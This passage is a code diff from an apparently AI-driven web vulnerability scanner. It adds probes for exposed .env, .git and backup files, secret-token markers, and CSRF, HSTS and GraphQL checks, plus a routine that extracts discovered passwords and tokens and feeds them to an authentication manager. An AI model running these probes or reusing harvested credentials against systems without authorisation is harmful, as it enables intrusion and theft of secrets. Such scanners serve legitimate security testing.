cvss_vector="CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N", - cwe_id="CWE-942", - description=f"The server reflects the Origin header '{origin}' in Access-Control-Allow-Origin, potentially allowing cross-origin data theft.", + vulnerability_type="cors_misconfig", + cvss_score=self._get_cvss_score("cors_misconfig"), + cvss_vector=self._get_cvss_vector("cors_misconfig"), + cwe_id=self.vuln_registry.get_cwe_id("cors_misconfig") or "CWE-942", + description=self.vuln_registry.get_description("cors_misconfig") or f"The server reflects the Origin header '{origin}' in Access-Control-Allow-Origin.", affected_endpoint=url, evidence=f"Origin: {origin}\nAccess-Control-Allow-Origin: {acao}\nAccess-Control-Allow-Credentials: {acac}", - remediation="Configure CORS to only allow trusted origins. Avoid using wildcard (*) or reflecting arbitrary origins.", - ai_verified=True + remediation=self.vuln_registry.get_remediation("cors_misconfig") or "Configure CORS to only allow trusted origins.", + affected_urls=[url], + ai_verified=False # Detected by inspection, not AI ) await self._add_finding(finding) await self.log("warning", f" [FOUND] CORS misconfiguration at {url[:50]}") @@ -809,44 +1242,358 @@ If the request is unclear or just informational, use action "info" and provide h async with self.session.get(url) as resp: headers = dict(resp.headers) - # Server header disclosure + # Server header disclosure (domain-scoped: sensitive_data_exposure) server = headers.get("Server", "") if server and any(v in server.lower() for v in ["apache/", "nginx/", "iis/", "tomcat/"]): - finding = Finding( - id=hashlib.md5(f"server{url}".encode()).hexdigest()[:8], - title="Server Version Disclosure", - severity="info", - vulnerability_type="information_disclosure", - cvss_score=0.0, - cwe_id="CWE-200", - description=f"The server discloses its version: {server}", - affected_endpoint=url, - evidence=f"Server: {server}", - remediation="Remove or obfuscate the Server header to prevent version disclosure.", - ai_verified=True - ) - await self._add_finding(finding) + vt = "sensitive_data_exposure" + dedup_key = f"server_version" + if self.memory.has_finding_for(vt, url, dedup_key): + for ef in self.memory.confirmed_findings: + if ef.vulnerability_type == vt and ef.parameter == dedup_key: + if url not in ef.affected_urls: + ef.affected_urls.append(url) + break + else: + finding = Finding( + id=hashlib.md5(f"server{url}".encode()).hexdigest()[:8], + title="Server Version Disclosure", + severity="info", + vulnerability_type=vt, + cvss_score=0.0, + cwe_id="CWE-200", + description=f"The server discloses its version: {server}", + affected_endpoint=url, + parameter=dedup_key, + evidence=f"Server: {server}", + remediation="Remove or obfuscate the Server header to prevent version disclosure.", + affected_urls=[url], + ai_verified=False # Detected by inspection + ) + await self._add_finding(finding) - # X-Powered-By disclosure + # X-Powered-By disclosure (domain-scoped: sensitive_data_exposure) powered_by = headers.get("X-Powered-By", "") if powered_by: - finding = Finding( - id=hashlib.md5(f"poweredby{url}".encode()).hexdigest()[:8], - title="Technology Version Disclosure", - severity="info", - vulnerability_type="information_disclosure", - cvss_score=0.0, - cwe_id="CWE-200", - description=f"The X-Powered-By header reveals technology: {powered_by}", - affected_endpoint=url, - evidence=f"X-Powered-By: {powered_by}", - remediation="Remove the X-Powered-By header.", - ai_verified=True - ) - await self._add_finding(finding) + vt = "sensitive_data_exposure" + dedup_key = f"x_powered_by" + if self.memory.has_finding_for(vt, url, dedup_key): + for ef in self.memory.confirmed_findings: + if ef.vulnerability_type == vt and ef.parameter == dedup_key: + if url not in ef.affected_urls: + ef.affected_urls.append(url) + break + else: + finding = Finding( + id=hashlib.md5(f"poweredby{url}".encode()).hexdigest()[:8], + title="Technology Version Disclosure", + severity="info", + vulnerability_type=vt, + cvss_score=0.0, + cwe_id="CWE-200", + description=f"The X-Powered-By header reveals technology: {powered_by}", + affected_endpoint=url, + parameter=dedup_key, + evidence=f"X-Powered-By: {powered_by}", + remediation="Remove the X-Powered-By header.", + affected_urls=[url], + ai_verified=False # Detected by inspection + ) + await self._add_finding(finding) except: pass + async def _test_misconfigurations(self): + """Test for directory listing, debug mode, admin panels, API docs""" + await self.log("info", " Testing for misconfigurations...") + + # Common paths to check + check_paths = { + "directory_listing": ["/", "/assets/", "/images/", "/uploads/", "/static/", "/backup/"], + "debug_mode": ["/debug", "/debug/", "/_debug", "/trace", "/elmah.axd", "/phpinfo.php"], + "exposed_admin_panel": ["/admin", "/admin/", "/administrator", "/wp-admin", "/manager", "/dashboard", "/cpanel"], + "exposed_api_docs": ["/swagger", "/swagger-ui", "/api-docs", "/docs", "/redoc", "/graphql", "/openapi.json"], + } + + parsed_target = urlparse(self.target) + base = f"{parsed_target.scheme}://{parsed_target.netloc}" + + for vuln_type, paths in check_paths.items(): + await self._wait_if_paused() + if self.is_cancelled(): + return + for path in paths: + if self.is_cancelled(): + return + url = base + path + try: + async with self.session.get(url, allow_redirects=False, timeout=self._get_request_timeout()) as resp: + status = resp.status + body = await resp.text() + headers = dict(resp.headers) + + detected = False + evidence = "" + + if vuln_type == "directory_listing" and status == 200: + if "Index of" in body or "Directory listing" in body or "
" in body:
+                                detected = True
+                                evidence = f"Directory listing enabled at {path}"
+
+                        elif vuln_type == "debug_mode" and status == 200:
+                            debug_markers = ["stack trace", "traceback", "debug toolbar",
+                                           "phpinfo()", "DJANGO_SETTINGS_MODULE", "laravel_debugbar"]
+                            if any(m.lower() in body.lower() for m in debug_markers):
+                                detected = True
+                                evidence = f"Debug mode/info exposed at {path}"
+
+                        elif vuln_type == "exposed_admin_panel" and status == 200:
+                            admin_markers = ["login", "admin", "password", "sign in", "username"]
+                            if sum(1 for m in admin_markers if m.lower() in body.lower()) >= 2:
+                                detected = True
+                                evidence = f"Admin panel found at {path}"
+
+                        elif vuln_type == "exposed_api_docs" and status == 200:
+                            doc_markers = ["swagger", "openapi", "api documentation", "graphql",
+                                         "query {", "mutation {", "paths", "components"]
+                            if any(m.lower() in body.lower() for m in doc_markers):
+                                detected = True
+                                evidence = f"API documentation exposed at {path}"
+
+                        if detected:
+                            if not self.memory.has_finding_for(vuln_type, url, ""):
+                                info = self.vuln_registry.VULNERABILITY_INFO.get(vuln_type, {})
+                                finding = Finding(
+                                    id=hashlib.md5(f"{vuln_type}{url}".encode()).hexdigest()[:8],
+                                    title=info.get("title", vuln_type.replace("_", " ").title()),
+                                    severity=info.get("severity", "low"),
+                                    vulnerability_type=vuln_type,
+                                    cvss_score=self._get_cvss_score(vuln_type),
+                                    cvss_vector=self._get_cvss_vector(vuln_type),
+                                    cwe_id=info.get("cwe_id", "CWE-16"),
+                                    description=info.get("description", evidence),
+                                    affected_endpoint=url,
+                                    evidence=evidence,
+                                    remediation=info.get("remediation", "Restrict access to this resource."),
+                                    affected_urls=[url],
+                                    ai_verified=False
+                                )
+                                await self._add_finding(finding)
+                                await self.log("warning", f"  [FOUND] {vuln_type} at {path}")
+                                break  # One finding per vuln type is enough
+                except:
+                    pass
+
+    async def _test_data_exposure(self):
+        """Test for source code disclosure, backup files, API key exposure"""
+        await self.log("info", "  Testing for data exposure...")
+
+        parsed_target = urlparse(self.target)
+        base = f"{parsed_target.scheme}://{parsed_target.netloc}"
+
+        exposure_checks = {
+            "source_code_disclosure": {
+                "paths": ["/.git/HEAD", "/.svn/entries", "/.env", "/wp-config.php.bak",
+                          "/.htaccess", "/web.config", "/config.php~"],
+                "markers": ["ref:", "svn", "DB_PASSWORD", "APP_KEY", "SECRET_KEY"],
+            },
+            "backup_file_exposure": {
+                "paths": ["/backup.zip", "/backup.sql", "/db.sql", "/site.tar.gz",
+                          "/backup.tar", "/.sql", "/dump.sql"],
+                "markers": ["PK\x03\x04", "CREATE TABLE", "INSERT INTO", "mysqldump"],
+            },
+            "api_key_exposure": {
+                "paths": ["/config.js", "/env.js", "/settings.json", "/.env.local",
+                          "/api/config", "/static/js/app.*.js"],
+                "markers": ["api_key", "apikey", "api-key", "secret_key", "access_token",
+                           "AKIA", "sk-", "pk_live_", "ghp_", "glpat-"],
+            },
+        }
+
+        for vuln_type, config in exposure_checks.items():
+            await self._wait_if_paused()
+            if self.is_cancelled():
+                return
+            for path in config["paths"]:
+                if self.is_cancelled():
+                    return
+                url = base + path
+                try:
+                    async with self.session.get(url, allow_redirects=False, timeout=self._get_request_timeout()) as resp:
+                        if resp.status == 200:
+                            body = await resp.text()
+                            body_bytes = body[:1000]
+                            if any(m in body_bytes for m in config["markers"]):
+                                if not self.memory.has_finding_for(vuln_type, url, ""):
+                                    info = self.vuln_registry.VULNERABILITY_INFO.get(vuln_type, {})
+                                    finding = Finding(
+                                        id=hashlib.md5(f"{vuln_type}{url}".encode()).hexdigest()[:8],
+                                        title=info.get("title", vuln_type.replace("_", " ").title()),
+                                        severity=info.get("severity", "high"),
+                                        vulnerability_type=vuln_type,
+                                        cvss_score=self._get_cvss_score(vuln_type),
+                                        cvss_vector=self._get_cvss_vector(vuln_type),
+                                        cwe_id=info.get("cwe_id", "CWE-200"),
+                                        description=f"Sensitive file exposed at {path}",
+                                        affected_endpoint=url,
+                                        evidence=f"HTTP 200 at {path} with sensitive content markers",
+                                        remediation=info.get("remediation", "Remove or restrict access to this file."),
+                                        affected_urls=[url],
+                                        ai_verified=False
+                                    )
+                                    await self._add_finding(finding)
+                                    await self.log("warning", f"  [FOUND] {vuln_type} at {path}")
+                                    break
+                except:
+                    pass
+
+    async def _test_ssl_crypto(self):
+        """Test for SSL/TLS issues and crypto weaknesses"""
+        await self.log("info", "  Testing SSL/TLS configuration...")
+
+        parsed = urlparse(self.target)
+
+        # Check if site is HTTP-only (no HTTPS redirect)
+        if parsed.scheme == "http":
+            vt = "cleartext_transmission"
+            if not self.memory.has_finding_for(vt, self.target, ""):
+                https_url = self.target.replace("http://", "https://")
+                has_https = False
+                try:
+                    async with self.session.get(https_url, timeout=5) as resp:
+                        has_https = resp.status < 400
+                except:
+                    pass
+                if not has_https:
+                    info = self.vuln_registry.VULNERABILITY_INFO.get(vt, {})
+                    finding = Finding(
+                        id=hashlib.md5(f"{vt}{self.target}".encode()).hexdigest()[:8],
+                        title="Cleartext HTTP Transmission",
+                        severity="medium",
+                        vulnerability_type=vt,
+                        cvss_score=self._get_cvss_score(vt),
+                        cvss_vector=self._get_cvss_vector(vt),
+                        cwe_id="CWE-319",
+                        description="Application is served over HTTP without HTTPS.",
+                        affected_endpoint=self.target,
+                        evidence="No HTTPS endpoint available",
+                        remediation=info.get("remediation", "Enable HTTPS with a valid TLS certificate."),
+                        affected_urls=[self.target],
+                        ai_verified=False
+                    )
+                    await self._add_finding(finding)
+
+        # Check HSTS header
+        try:
+            async with self.session.get(self.target) as resp:
+                headers = dict(resp.headers)
+                if "Strict-Transport-Security" not in headers and parsed.scheme == "https":
+                    vt = "ssl_issues"
+                    if not self.memory.has_finding_for(vt, self.target, "hsts"):
+                        finding = Finding(
+                            id=hashlib.md5(f"hsts{self.target}".encode()).hexdigest()[:8],
+                            title="Missing HSTS Header",
+                            severity="low",
+                            vulnerability_type=vt,
+                            cvss_score=self._get_cvss_score(vt),
+                            cwe_id="CWE-523",
+                            description="Strict-Transport-Security header not set.",
+                            affected_endpoint=self.target,
+                            parameter="hsts",
+                            evidence="HSTS header missing from HTTPS response",
+                            remediation="Add Strict-Transport-Security header with appropriate max-age.",
+                            affected_urls=[self.target],
+                            ai_verified=False
+                        )
+                        await self._add_finding(finding)
+        except:
+            pass
+
+    async def _test_graphql_introspection(self):
+        """Test for GraphQL introspection exposure"""
+        await self.log("info", "  Testing for GraphQL introspection...")
+
+        parsed = urlparse(self.target)
+        base = f"{parsed.scheme}://{parsed.netloc}"
+        graphql_paths = ["/graphql", "/api/graphql", "/v1/graphql", "/query"]
+
+        introspection_query = '{"query":"{__schema{types{name}}}"}'
+
+        for path in graphql_paths:
+            url = base + path
+            try:
+                async with self.session.post(
+                    url,
+                    data=introspection_query,
+                    headers={"Content-Type": "application/json"},
+                ) as resp:
+                    if resp.status == 200:
+                        body = await resp.text()
+                        if "__schema" in body or "queryType" in body:
+                            vt = "graphql_introspection"
+                            if not self.memory.has_finding_for(vt, url, ""):
+                                info = self.vuln_registry.VULNERABILITY_INFO.get(vt, {})
+                                finding = Finding(
+                                    id=hashlib.md5(f"{vt}{url}".encode()).hexdigest()[:8],
+                                    title="GraphQL Introspection Enabled",
+                                    severity="medium",
+                                    vulnerability_type=vt,
+                                    cvss_score=self._get_cvss_score(vt),
+                                    cvss_vector=self._get_cvss_vector(vt),
+                                    cwe_id="CWE-200",
+                                    description=info.get("description", "GraphQL introspection is enabled, exposing the full API schema."),
+                                    affected_endpoint=url,
+                                    evidence="__schema data returned from introspection query",
+                                    remediation=info.get("remediation", "Disable introspection in production."),
+                                    affected_urls=[url],
+                                    ai_verified=False
+                                )
+                                await self._add_finding(finding)
+                                await self.log("warning", f"  [FOUND] GraphQL introspection at {path}")
+                                return
+            except:
+                pass
+
+    async def _test_csrf_inspection(self):
+        """Test for CSRF protection on forms"""
+        await self.log("info", "  Testing for CSRF protection...")
+
+        for form in self.recon.forms[:10]:
+            if form.get("method", "GET").upper() != "POST":
+                continue
+            action = form.get("action", "")
+            inputs = form.get("inputs", [])
+
+            # Check if form has CSRF token
+            csrf_names = {"csrf", "_token", "csrfmiddlewaretoken", "authenticity_token",
+                         "__RequestVerificationToken", "_csrf", "csrf_token"}
+            has_token = any(
+                inp.lower() in csrf_names
+                for inp in inputs
+                if isinstance(inp, str)
+            )
+
+            if not has_token and action:
+                vt = "csrf"
+                if not self.memory.has_finding_for(vt, action, ""):
+                    info = self.vuln_registry.VULNERABILITY_INFO.get(vt, {})
+                    finding = Finding(
+                        id=hashlib.md5(f"{vt}{action}".encode()).hexdigest()[:8],
+                        title="Missing CSRF Protection",
+                        severity="medium",
+                        vulnerability_type=vt,
+                        cvss_score=self._get_cvss_score(vt),
+                        cvss_vector=self._get_cvss_vector(vt),
+                        cwe_id="CWE-352",
+                        description=f"POST form at {action} lacks CSRF token protection.",
+                        affected_endpoint=action,
+                        evidence=f"No CSRF token found in form fields: {inputs[:5]}",
+                        remediation=info.get("remediation", "Implement CSRF tokens for all state-changing requests."),
+                        affected_urls=[action],
+                        ai_verified=False
+                    )
+                    await self._add_finding(finding)
+                    await self.log("warning", f"  [FOUND] Missing CSRF protection at {action[:50]}")
+
     async def _ai_dynamic_test(self, user_prompt: str):
         """
         AI-driven dynamic vulnerability testing - can test ANY vulnerability type.
@@ -944,7 +1691,7 @@ Be creative and thorough - think like a real penetration tester."""
         try:
             strategy_response = await self.llm.generate(
                 strategy_prompt,
-                "You are an expert penetration tester specializing in web application security. Provide detailed, actionable test strategies."
+                get_system_prompt("strategy")
             )
 
             # Extract JSON from response
@@ -1016,7 +1763,7 @@ Respond in JSON:
 
             analysis_response = await self.llm.generate(
                 analysis_prompt,
-                "You are a security analyst. Analyze test results and identify vulnerabilities with precision. Only report real findings with clear evidence."
+                get_system_prompt("confirmation")
             )
 
             # Parse analysis
@@ -1029,25 +1776,43 @@ Respond in JSON:
                         evidence = finding_data.get("evidence", "")
                         test_name = finding_data.get("test_name", "AI Test")
 
-                        # Find the matching test result for endpoint
+                        # Find the matching test result for endpoint + body
                         affected_endpoint = self.target
+                        matched_body = ""
                         for tr in test_results:
                             if tr.get("test_name") == test_name:
                                 affected_endpoint = tr.get("url", self.target)
+                                matched_body = tr.get("body", "")
                                 break
 
+                        # Anti-hallucination: verify AI evidence in actual response
+                        if evidence and matched_body:
+                            if not self._evidence_in_response(evidence, matched_body):
+                                await self.log("debug", f"  [REJECTED] AI claimed evidence not found in response for {test_name}")
+                                self.memory.reject_finding(
+                                    type("F", (), {"vulnerability_type": vuln_type, "affected_endpoint": affected_endpoint, "parameter": ""})(),
+                                    f"AI evidence not grounded in HTTP response: {evidence[:100]}"
+                                )
+                                continue
+
+                        # Get metadata from registry if available
+                        mapped = self._map_vuln_type(vuln_type.lower().replace(" ", "_"))
+                        reg_title = self.vuln_registry.get_title(mapped)
+                        reg_cwe = self.vuln_registry.get_cwe_id(mapped)
+                        reg_remediation = self.vuln_registry.get_remediation(mapped)
+
                         finding = Finding(
                             id=hashlib.md5(f"{vuln_type}{affected_endpoint}{test_name}".encode()).hexdigest()[:8],
-                            title=f"{vuln_type}",
+                            title=reg_title or f"{vuln_type}",
                             severity=severity,
                             vulnerability_type=vuln_type.lower().replace(" ", "_"),
                             cvss_score=float(cvss) if cvss else 5.0,
-                            cvss_vector="CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
-                            cwe_id=cwe_id or "CWE-1035",
+                            cvss_vector=self._get_cvss_vector(vuln_type.lower().replace(" ", "_")),
+                            cwe_id=reg_cwe or cwe_id or "",
                             description=f"{description}\n\nAI Explanation: {finding_data.get('explanation', '')}",
                             affected_endpoint=affected_endpoint,
                             evidence=evidence[:1000],
-                            remediation="\n".join(analysis.get("recommendations", [f"Remediate the {vuln_type} vulnerability"])),
+                            remediation=reg_remediation or "\n".join(analysis.get("recommendations", [])),
                             ai_verified=True
                         )
                         await self._add_finding(finding)
@@ -1492,19 +2257,28 @@ VULNERABLE: 
 or
 NOT_VULNERABLE: """
 
-                result = await self.llm.generate(analysis_prompt)
+                result = await self.llm.generate(analysis_prompt, get_system_prompt("verification"))
                 if "VULNERABLE:" in result.upper():
                     evidence = result.split(":", 1)[1].strip() if ":" in result else result
+
+                    # Anti-hallucination: verify AI evidence in actual response
+                    if not self._evidence_in_response(evidence, body):
+                        await self.log("debug", f"  [REJECTED] AI evidence not grounded in response for {vuln_type}")
+                        return
+
+                    mapped = self._map_vuln_type(vuln_type)
                     finding = Finding(
                         id=hashlib.md5(f"{vuln_type}{url}ai".encode()).hexdigest()[:8],
-                        title=f"AI-Detected {vuln_type.title()} Vulnerability",
-                        severity="medium",
+                        title=self.vuln_registry.get_title(mapped) or f"AI-Detected {vuln_type.title()} Vulnerability",
+                        severity=self._get_severity(vuln_type),
                         vulnerability_type=vuln_type,
-                        cvss_score=5.0,
-                        description=f"AI analysis detected potential {vuln_type} vulnerability.",
+                        cvss_score=self._get_cvss_score(vuln_type),
+                        cvss_vector=self._get_cvss_vector(vuln_type),
+                        cwe_id=self.vuln_registry.get_cwe_id(mapped) or "",
+                        description=self.vuln_registry.get_description(mapped) or f"AI analysis detected potential {vuln_type} vulnerability.",
                         affected_endpoint=url,
                         evidence=evidence[:500],
-                        remediation=f"Review and remediate the {vuln_type} vulnerability.",
+                        remediation=self.vuln_registry.get_remediation(mapped) or f"Review and remediate the {vuln_type} vulnerability.",
                         ai_verified=True
                     )
                     await self._add_finding(finding)
@@ -1538,12 +2312,11 @@ NOT_VULNERABLE: """
                 is_vuln, evidence = await self._verify_vulnerability(vuln_type, payload, response_data)
                 if is_vuln:
                     await self.log("warning", f"    [POTENTIAL] {vuln_type.upper()} found in {param}")
-                    # Confirm with AI
-                    confirmed = await self._ai_confirm_finding(
-                        vuln_type, test_url, param, payload, body[:500], evidence
+                    # Run through ValidationJudge pipeline
+                    finding = await self._judge_finding(
+                        vuln_type, test_url, param, payload, evidence, response_data
                     )
-                    if confirmed:
-                        finding = self._create_finding(vuln_type, test_url, param, payload, evidence, response_data)
+                    if finding:
                         await self._add_finding(finding)
 
         except Exception as e:
@@ -1560,15 +2333,151 @@ NOT_VULNERABLE: """
         await self.log(level, message)
 
     async def _add_finding(self, finding: Finding):
-        """Add a finding and notify via callback"""
-        self.findings.append(finding)
+        """Add a finding through memory (dedup + bounded + evidence check)"""
+        added = self.memory.add_finding(finding)
+        if not added:
+            reason = "duplicate" if self.memory.has_finding_for(
+                finding.vulnerability_type, finding.affected_endpoint, finding.parameter
+            ) else "rejected by memory (missing evidence, speculative, or at capacity)"
+            await self.log("info", f"    [SKIP] {finding.title} - {reason}")
+            return
+
         await self.log("warning", f"    [FOUND] {finding.title} - {finding.severity}")
+
+        # AI exploitation validation
+        try:
+            validation = await self._ai_validate_exploitation(asdict(finding))
+            if validation:
+                if validation.get("false_positive_risk") in ("medium", "high"):
+                    await self.log("warning", f"    [AI] False positive risk: {validation['false_positive_risk']} for {finding.title}")
+                if validation.get("exploitation_notes"):
+                    finding.evidence = f"{finding.evidence or ''} | [AI Validation] {validation['exploitation_notes']}"
+                    await self.log("info", f"    [AI] Exploitation notes: {validation['exploitation_notes'][:100]}")
+        except Exception:
+            pass
+
+        # Generate PoC code for the confirmed finding
+        if not finding.poc_code:
+            try:
+                finding.poc_code = self.poc_generator.generate(
+                    finding.vulnerability_type,
+                    finding.affected_endpoint,
+                    finding.parameter,
+                    finding.payload,
+                    finding.evidence,
+                    method=finding.request.split()[0] if finding.request else "GET"
+                )
+            except Exception:
+                pass
+
+        # Record success in execution history for cross-scan learning
+        if self.execution_history:
+            try:
+                self.execution_history.record(
+                    self.recon.technologies,
+                    finding.vulnerability_type,
+                    finding.affected_endpoint,
+                    True,
+                    finding.evidence or ""
+                )
+            except Exception:
+                pass
+
+        # Capture screenshot for the confirmed finding
+        await self._capture_finding_screenshot(finding)
+
+        # Chain engine: derive new targets from this finding
+        if self.chain_engine:
+            try:
+                derived = await self.chain_engine.on_finding(finding, self.recon, self.memory)
+                if derived:
+                    await self.log("info", f"    [CHAIN] {len(derived)} derived targets from {finding.vulnerability_type}")
+                    for chain_target in derived[:5]:  # Limit to 5 derived targets per finding
+                        await self.log("info", f"    [CHAIN] Testing {chain_target.vuln_type} → {chain_target.url[:50]}")
+                        try:
+                            chain_finding = await self._test_vulnerability_type(
+                                chain_target.url,
+                                chain_target.vuln_type,
+                                "GET",
+                                [chain_target.param] if chain_target.param else ["id"]
+                            )
+                            if chain_finding:
+                                chain_finding.evidence = f"{chain_finding.evidence or ''} [CHAIN from {finding.id}: {finding.vulnerability_type}]"
+                                await self._add_finding(chain_finding)
+                        except Exception as e:
+                            await self.log("debug", f"    [CHAIN] Test failed: {e}")
+            except Exception as e:
+                await self.log("debug", f"    [CHAIN] Engine error: {e}")
+
+        # Feed discovered credentials to auth manager
+        if self.auth_manager and finding.vulnerability_type in (
+            "information_disclosure", "api_key_exposure", "default_credentials",
+            "weak_password", "hardcoded_secrets"
+        ):
+            try:
+                cred_pattern = re.findall(
+                    r'(?:password|passwd|pwd|pass|api_key|apikey|token|secret)[=:"\s]+([^\s"\'&,;]{4,})',
+                    finding.evidence or "", re.IGNORECASE
+                )
+                for cred_val in cred_pattern[:3]:
+                    self.auth_manager.add_credentials(
+                        username="discovered", password=cred_val,
+                        role="user", source="discovered"
+                    )
+                    await self.log("info", f"    [AUTH] Discovered credential fed to auth manager")
+            except Exception:
+                pass
+
         if self.finding_callback:
             try:
                 await self.finding_callback(asdict(finding))
             except Exception as e:
                 print(f"Finding callback error: {e}")
 
+    async def _capture_finding_screenshot(self, finding: Finding):
+        """Capture a browser screenshot for a confirmed vulnerability finding.
+
+        Uses Playwright via BrowserValidator to navigate to the affected
+        endpoint and take a full-page screenshot. Screenshots are stored in
+        reports/screenshots/{scan_id}/{finding_id}/ when scan_id is available,
+        or reports/screenshots/{finding_id}/ as fallback. Screenshots are also
+        embedded as base64 in the finding's screenshots list for HTML reports.
+        """
+        if not HAS_PLAYWRIGHT or BrowserValidator is None:
+            return
+
+        url = finding.affected_endpoint
+        if not url or not url.startswith(("http://", "https://")):
+            return
+
+        try:
+            # Organize screenshots by scan_id subfolder
+            if self.scan_id:
+                screenshots_dir = f"reports/screenshots/{self.scan_id}"
+            else:
+                screenshots_dir = "reports/screenshots"
+            validator = BrowserValidator(screenshots_dir=screenshots_dir)
+            await validator.start(headless=True)
+            try:
+                result = await validator.validate_finding(
+                    finding_id=finding.id,
+                    url=url,
+                    payload=finding.payload,
+                    timeout=15000
+                )
+                # Embed screenshots as base64 data URIs
+                for ss_path in result.get("screenshots", []):
+                    data_uri = embed_screenshot(ss_path)
+                    if data_uri:
+                        finding.screenshots.append(data_uri)
+
+                if finding.screenshots:
+                    await self.log("info", f"    [SCREENSHOT] Captured {len(finding.screenshots)} screenshot(s) for {finding.id}")
+            finally:
+                await validator.stop()
+        except Exception as e:
+            await self.log("debug", f"    Screenshot capture failed for {finding.id}: {e}")
+
     def _normalize_target(self, target: str) -> str:
         """Ensure target has proper scheme"""
         if not target.startswith(('http://', 'https://')):
@@ -1594,9 +2503,27 @@ NOT_VULNERABLE: """
             headers=headers,
             cookie_jar=aiohttp.CookieJar(unsafe=True)
         )
+
+        # Initialize autonomy modules that depend on session
+        self.request_engine = RequestEngine(
+            self.session, default_delay=0.1, max_retries=3,
+            is_cancelled_fn=self.is_cancelled
+        )
+        self.waf_detector = WAFDetector(self.request_engine)
+        self.strategy = StrategyAdapter(self.memory)
+        self.auth_manager = AuthManager(self.request_engine, self.recon)
+
         return self
 
     async def __aexit__(self, *args):
+        # Cleanup per-scan sandbox container
+        if self.scan_id and self._sandbox:
+            try:
+                from core.container_pool import get_pool
+                await get_pool().destroy(self.scan_id)
+                self._sandbox = None
+            except Exception:
+                pass
         if self.session:
             await self.session.close()
 
@@ -1630,6 +2557,8 @@ NOT_VULNERABLE: """
                 return await self._run_prompt_only()
             elif self.mode == OperationMode.ANALYZE_ONLY:
                 return await self._run_analyze_only()
+            elif self.mode == OperationMode.AUTO_PENTEST:
+                return await self._run_auto_pentest()
             else:
                 return await self._run_full_auto()
         except Exception as e:
@@ -1761,13 +2690,14 @@ NOT_VULNERABLE: """
             pass
 
     async def _crawl_page(self, url: str):
-        """Crawl a page for more links"""
+        """Crawl a page for more links and forms"""
         if not url:
             return
         try:
             async with self.session.get(url) as resp:
                 body = await resp.text()
                 await self._extract_links(body, url)
+                await self._extract_forms(body, url)
         except:
             pass
 
@@ -1804,15 +2734,16 @@ NOT_VULNERABLE: """
                 self.recon.endpoints.append(endpoint_data)
 
     async def _extract_forms(self, body: str, base_url: str):
-        """Extract forms from HTML"""
-        form_pattern = r']*>(.*?)'
+        """Extract forms from HTML including input types and hidden field values"""
+        # Capture the opening 
tag attributes AND inner content separately + form_pattern = r']*)>(.*?)' forms = re.findall(form_pattern, body, re.I | re.DOTALL) base_parsed = urlparse(base_url) - for form_html in forms: - # Extract action - action_match = re.search(r'action=["\']([^"\']*)["\']', form_html, re.I) + for form_attrs, form_html in forms: + # Extract action from the
tag attributes + action_match = re.search(r'action=["\']([^"\']*)["\']', form_attrs, re.I) action = action_match.group(1) if action_match else base_url if action.startswith('/'): @@ -1820,18 +2751,40 @@ NOT_VULNERABLE: """ elif not action.startswith('http'): action = base_url - # Extract method - method_match = re.search(r'method=["\']([^"\']*)["\']', form_html, re.I) + # Extract method from the tag attributes + method_match = re.search(r'method=["\']([^"\']*)["\']', form_attrs, re.I) method = (method_match.group(1) if method_match else "GET").upper() - # Extract inputs - inputs = re.findall(r']*name=["\']([^"\']+)["\'][^>]*>', form_html, re.I) + # Extract inputs with type and value details + inputs = [] + input_details = [] + input_elements = re.findall(r']*>', form_html, re.I) + for inp_el in input_elements: + name_m = re.search(r'name=["\']([^"\']+)["\']', inp_el, re.I) + if not name_m: + continue + name = name_m.group(1) + type_m = re.search(r'type=["\']([^"\']+)["\']', inp_el, re.I) + val_m = re.search(r'value=["\']([^"\']*)["\']', inp_el, re.I) + inp_type = type_m.group(1).lower() if type_m else "text" + inp_value = val_m.group(1) if val_m else "" + inputs.append(name) + input_details.append({ + "name": name, "type": inp_type, "value": inp_value + }) + + # Textareas (always user-editable text) textareas = re.findall(r']*name=["\']([^"\']+)["\']', form_html, re.I) + for ta in textareas: + inputs.append(ta) + input_details.append({"name": ta, "type": "textarea", "value": ""}) form_data = { "action": action, "method": method, - "inputs": inputs + textareas + "inputs": inputs, + "input_details": input_details, + "page_url": base_url, } self.recon.forms.append(form_data) @@ -1947,25 +2900,77 @@ NOT_VULNERABLE: """ """Full automated assessment""" await self._update_progress(0, "Starting full assessment") + # Pre-flight: target health check + if self.session: + healthy, health_info = await self.response_verifier.check_target_health( + self.session, self.target + ) + if healthy: + await self.log("info", f"[HEALTH] Target is alive (status={health_info.get('status')}, " + f"server={health_info.get('server', 'unknown')})") + else: + reason = health_info.get("reason", "unknown") + await self.log("warning", f"[HEALTH] Target may be unhealthy: {reason}") + await self.log("warning", "[HEALTH] Proceeding with caution - results may be unreliable") + # Phase 1: Reconnaissance - await self.log("info", "[PHASE 1/5] Reconnaissance") - await self._run_recon_only() - await self._update_progress(20, "Reconnaissance complete") + skip_target = self._check_skip("recon") + if skip_target: + await self.log("warning", f">> SKIPPING Reconnaissance -> jumping to {skip_target}") + await self._update_progress(20, f"recon_skipped") + else: + await self.log("info", "[PHASE 1/5] Reconnaissance") + await self._run_recon_only() + await self._update_progress(20, "Reconnaissance complete") + + # Phase 1b: WAF Detection + if self.waf_detector and not self._waf_result: + try: + self._waf_result = await self.waf_detector.detect(self.target) + if self._waf_result and self._waf_result.detected_wafs: + for w in self._waf_result.detected_wafs: + waf_label = f"WAF:{w.name} ({w.confidence:.0%})" + if waf_label not in self.recon.technologies: + self.recon.technologies.append(waf_label) + await self.log("warning", f"[WAF] Detected: {w.name} " + f"(confidence: {w.confidence:.0%})") + if self.request_engine and self._waf_result.recommended_delay > self.request_engine.default_delay: + self.request_engine.default_delay = self._waf_result.recommended_delay + else: + await self.log("info", "[WAF] No WAF detected") + except Exception as e: + await self.log("debug", f"[WAF] Detection failed: {e}") # Phase 2: AI Attack Surface Analysis - await self.log("info", "[PHASE 2/5] AI Attack Surface Analysis") - attack_plan = await self._ai_analyze_attack_surface() - await self._update_progress(30, "Attack surface analyzed") + skip_target = self._check_skip("analysis") + if skip_target: + await self.log("warning", f">> SKIPPING Analysis -> jumping to {skip_target}") + attack_plan = self._default_attack_plan() + await self._update_progress(30, f"analysis_skipped") + else: + await self.log("info", "[PHASE 2/5] AI Attack Surface Analysis") + attack_plan = await self._ai_analyze_attack_surface() + await self._update_progress(30, "Attack surface analyzed") # Phase 3: Vulnerability Testing - await self.log("info", "[PHASE 3/5] Vulnerability Testing") - await self._test_all_vulnerabilities(attack_plan) - await self._update_progress(70, "Vulnerability testing complete") + skip_target = self._check_skip("testing") + if skip_target: + await 